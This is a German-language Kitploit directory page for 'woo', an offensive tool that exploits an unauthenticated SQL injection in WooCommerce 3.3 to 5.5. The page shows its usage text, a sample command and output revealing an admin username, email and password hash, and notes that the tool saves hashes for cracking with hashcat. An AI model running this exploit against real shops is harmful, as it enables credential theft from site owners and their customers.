Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
woo — Exploit woocommerce SQLI and grab user and password hash | Kitploit
Tools/GitHubGitHub/randomrobbiebf/woo
Password AttacksExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubrandomrobbiebf/woo

woo

Exploit woocommerce SQLI and grab user and password hash

Repository anzeigen
21vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Woocommerce 3.3 bis 5.5 - Nicht authentifizierte SQL-Injection

https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379

WooCommerce-SQLI ausnutzen und Benutzer- und Passwort-Hash abgreifen

Befehle

root@kitploit:~
usage: woo.py [-h] [-u URL] [-f FILE] [-p PROXY] [-i WID]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to test
  -f FILE, --file FILE  File of urls
  -p PROXY, --proxy PROXY
                        Proxy for debugging
  -i WID, --wid WID     User ID of User

POC

root@kitploit:~
python3 woo.py -u https://www.website.com -i 1
root@kitploit:~
Admin ID: 2
Admin Username: [email protected]
Admin Email Address: [email protected]
Admin Password Hash:$P$BIAtNs11r0CBJZxa3B1JLrFd5C9f7r/

Jedes Mal, wenn dies ausgeführt wird, schreibt es die Hashes in wphash.has und gibt dir einen Hashcat-Befehl, um sie zu knacken.

Tool herunterladen